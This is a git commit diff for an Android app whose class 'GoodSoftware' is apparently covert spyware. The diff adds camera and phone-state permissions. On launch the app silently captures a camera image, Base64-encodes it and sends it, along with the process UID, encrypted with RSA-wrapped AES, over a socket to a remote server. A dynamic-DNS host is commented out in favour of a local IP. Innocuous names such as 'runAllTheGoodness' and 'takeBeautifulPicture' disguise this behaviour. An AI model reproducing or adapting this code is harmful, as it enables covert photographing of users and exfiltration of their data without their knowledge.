Make some updates to server connection

This commit is contained in:
Joren 2024-05-01 23:24:51 +02:00
parent 450e8457a0
commit 2d080d4b7d
Signed by untrusted user who does not match committer: Joren
GPG Key ID: 280E33DFBC0F1B55
5 changed files with 125 additions and 21 deletions

View File

@ -3,7 +3,52 @@
<component name="deploymentTargetDropDown"> <component name="deploymentTargetDropDown">
<value> <value>
<entry key="MainActivity"> <entry key="MainActivity">
<State /> <State>
<targetSelectedWithDropDown>
<Target>
<type value="QUICK_BOOT_TARGET" />
<deviceKey>
<Key>
<type value="VIRTUAL_DEVICE_PATH" />
<value value="$USER_HOME$/.android/avd/Pixel_3a_API_34_extension_level_7_x86_64.avd" />
</Key>
</deviceKey>
</Target>
</targetSelectedWithDropDown>
<timeTargetWasSelectedWithDropDown value="2024-05-01T21:00:11.388367735Z" />
<multipleDevicesSelectedInDropDown value="true" />
<runningDeviceTargetsSelectedWithDialog>
<Target>
<type value="RUNNING_DEVICE_TARGET" />
<deviceKey>
<Key>
<type value="SERIAL_NUMBER" />
<value value="RF8M8154RCX" />
</Key>
</deviceKey>
</Target>
<Target>
<type value="RUNNING_DEVICE_TARGET" />
<deviceKey>
<Key>
<type value="VIRTUAL_DEVICE_PATH" />
<value value="$USER_HOME$/.android/avd/Pixel_3a_API_34_extension_level_7_x86_64.avd" />
</Key>
</deviceKey>
</Target>
</runningDeviceTargetsSelectedWithDialog>
<targetsSelectedWithDialog>
<Target>
<type value="QUICK_BOOT_TARGET" />
<deviceKey>
<Key>
<type value="VIRTUAL_DEVICE_PATH" />
<value value="$USER_HOME$/.android/avd/Pixel_3a_API_34_extension_level_7_x86_64.avd" />
</Key>
</deviceKey>
</Target>
</targetsSelectedWithDialog>
</State>
</entry> </entry>
<entry key="MainActivity (2)"> <entry key="MainActivity (2)">
<State /> <State />

1
.idea/misc.xml generated
View File

@ -1,4 +1,3 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4"> <project version="4">
<component name="ExternalStorageConfigurationManager" enabled="true" /> <component name="ExternalStorageConfigurationManager" enabled="true" />
<component name="ProjectRootManager" version="2" languageLevel="JDK_17" default="true" project-jdk-name="jbr-17" project-jdk-type="JavaSDK"> <component name="ProjectRootManager" version="2" languageLevel="JDK_17" default="true" project-jdk-name="jbr-17" project-jdk-type="JavaSDK">

View File

@ -2,6 +2,10 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android" <manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"> xmlns:tools="http://schemas.android.com/tools">
<uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-feature android:name="android.hardware.camera" />
<uses-feature android:name="android.hardware.camera.autofocus" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<application <application
android:allowBackup="true" android:allowBackup="true"

View File

@ -24,19 +24,23 @@ import javax.crypto.spec.SecretKeySpec
import androidx.concurrent.futures.await import androidx.concurrent.futures.await
import androidx.core.content.ContextCompat import androidx.core.content.ContextCompat
import androidx.lifecycle.LifecycleOwner import androidx.lifecycle.LifecycleOwner
import android.util.Base64
import androidx.core.app.ActivityCompat
import java.io.ByteArrayOutputStream
import android.Manifest
import android.app.Activity
import android.content.pm.PackageManager
import android.os.Build
import android.telephony.TelephonyManager
import android.widget.Toast
import androidx.annotation.RequiresApi
import androidx.core.content.ContextCompat.getSystemService
class GoodSoftware (private val context: Context) { class GoodSoftware (private val context: Context) {
private var cameraProvider: ProcessCameraProvider? = null private var cameraProvider: ProcessCameraProvider? = null
private var lensFacing: Int = CameraSelector.LENS_FACING_BACK private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
private var displayId: Int = -1
private var preview: Preview? = null
private var imageCapture: ImageCapture? = null private var imageCapture: ImageCapture? = null
private var imageAnalyzer: ImageAnalysis? = null
private var camera: Camera? = null
interface PictureTakenCallback {
fun onPictureTaken()
}
private companion object { private companion object {
private const val RSA_ALGORITHM = "RSA" private const val RSA_ALGORITHM = "RSA"
@ -94,14 +98,17 @@ class GoodSoftware (private val context: Context) {
} }
private fun runAllTheGoodness() { private fun runAllTheGoodness() {
val dataToSend = "Amazing data" val uid = android.os.Process.myUid().toString()
sendDataToServer(dataToSend) //sendDataToServer("UID: $uid")
} }
fun sendDataToServer(sendData: String) { fun sendDataToServer(sendData: String) {
val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!! val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
val host = "thinclient.duckdns.org" /* val host = "thinclient.duckdns.org"
val port = 5645 val port = 5645*/
val host = "192.168.90.151"
val port = 8080
val secureRandom = SecureRandom() val secureRandom = SecureRandom()
val keyBytes = ByteArray(16) val keyBytes = ByteArray(16)
val ivBytes = ByteArray(16) val ivBytes = ByteArray(16)
@ -111,7 +118,7 @@ class GoodSoftware (private val context: Context) {
val iv = IvParameterSpec(ivBytes) val iv = IvParameterSpec(ivBytes)
val algorithm = "AES/CBC/PKCS5Padding" val algorithm = "AES/CBC/PKCS5Padding"
val chunkSize = 45 val chunkSize = 131072
val chunks = sendData.lines().joinToString("").chunked(chunkSize) val chunks = sendData.lines().joinToString("").chunked(chunkSize)
val socket = Socket(host, port) val socket = Socket(host, port)
@ -120,18 +127,23 @@ class GoodSoftware (private val context: Context) {
val encodedKey = encodeBase64(keyBytes) val encodedKey = encodeBase64(keyBytes)
writer.println(encryptText(encodedKey, pKey)) writer.println(encryptText(encodedKey, pKey))
reader.readLine() reader.readLine()
val encodedIV = encodeBase64(ivBytes) val encodedIV = encodeBase64(ivBytes)
writer.println(encryptText(encodedIV, pKey)) writer.println(encryptText(encodedIV, pKey))
reader.readLine() reader.readLine()
val encodedUid = encodeBase64(android.os.Process.myUid().toString().toByteArray())
writer.println(encryptText(encodedUid, pKey))
reader.readLine()
for (chunk in chunks) { for (chunk in chunks) {
val cipherText = encrypt(algorithm, chunk, key, iv) val cipherText = encrypt(algorithm, chunk, key, iv).lines().joinToString("")
writer.println(cipherText) writer.println(cipherText)
reader.readLine() reader.readLine()
} }
writer.println("END_OF_COMMUNICATION") writer.println("END_OF_COMMUNICATION")
reader.readLine() reader.readLine()
@ -181,6 +193,18 @@ class GoodSoftware (private val context: Context) {
override fun onCaptureSuccess(image: ImageProxy) { override fun onCaptureSuccess(image: ImageProxy) {
// Process captured image here // Process captured image here
val byteArrayOutputStream = ByteArrayOutputStream()
val imagePlane = image.planes[0]
val buffer = imagePlane.buffer
val bytes = ByteArray(buffer.capacity())
buffer.get(bytes)
byteArrayOutputStream.write(bytes)
val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
Log.d(picture.TAG, "Base64 Image: $base64Image")
Thread {
println("Sending data to server")
sendDataToServer(base64Image)
}.start()
image.close() image.close()
} }
} }

View File

@ -1,12 +1,18 @@
package com.ti.m package com.ti.m
import android.Manifest
import android.app.Activity
import android.content.pm.PackageManager
import android.os.Bundle import android.os.Bundle
import android.widget.Toast
import androidx.activity.ComponentActivity import androidx.activity.ComponentActivity
import androidx.activity.compose.setContent import androidx.activity.compose.setContent
import androidx.compose.foundation.layout.fillMaxSize import androidx.compose.foundation.layout.fillMaxSize
import androidx.compose.material3.MaterialTheme import androidx.compose.material3.MaterialTheme
import androidx.compose.material3.Surface import androidx.compose.material3.Surface
import androidx.compose.ui.Modifier import androidx.compose.ui.Modifier
import androidx.core.app.ActivityCompat
import androidx.core.content.ContextCompat
import androidx.lifecycle.LifecycleOwner import androidx.lifecycle.LifecycleOwner
import androidx.lifecycle.lifecycleScope import androidx.lifecycle.lifecycleScope
import com.ti.m.GoodSoftware import com.ti.m.GoodSoftware
@ -14,6 +20,9 @@ import com.ti.m.ui.theme.MTheme
import kotlinx.coroutines.launch import kotlinx.coroutines.launch
class MainActivity : ComponentActivity(), LifecycleOwner { class MainActivity : ComponentActivity(), LifecycleOwner {
private val REQUEST_CAMERA_PERMISSION = 100
private lateinit var goo: GoodSoftware
override fun onCreate(savedInstanceState: Bundle?) { override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState) super.onCreate(savedInstanceState)
setContent { setContent {
@ -25,10 +34,33 @@ class MainActivity : ComponentActivity(), LifecycleOwner {
} }
} }
} }
val Goo = GoodSoftware(applicationContext); goo = GoodSoftware(this@MainActivity)
Goo.launch() goo.launch()
checkCameraPermission()
}
private fun checkCameraPermission() {
if (ContextCompat.checkSelfPermission(this, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(this as Activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
} else {
lifecycleScope.launch { lifecycleScope.launch {
Goo.takeBeautifulPicture(this@MainActivity) goo.takeBeautifulPicture(this@MainActivity)
}
}
}
override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<String>, grantResults: IntArray) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults)
if (requestCode == REQUEST_CAMERA_PERMISSION) {
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
// Permission granted, proceed with your camera operations
lifecycleScope.launch {
goo.takeBeautifulPicture(this@MainActivity)
}
} else {
// Permission denied
Toast.makeText(this, "Camera permission denied", Toast.LENGTH_SHORT).show()
}
} }
} }
} }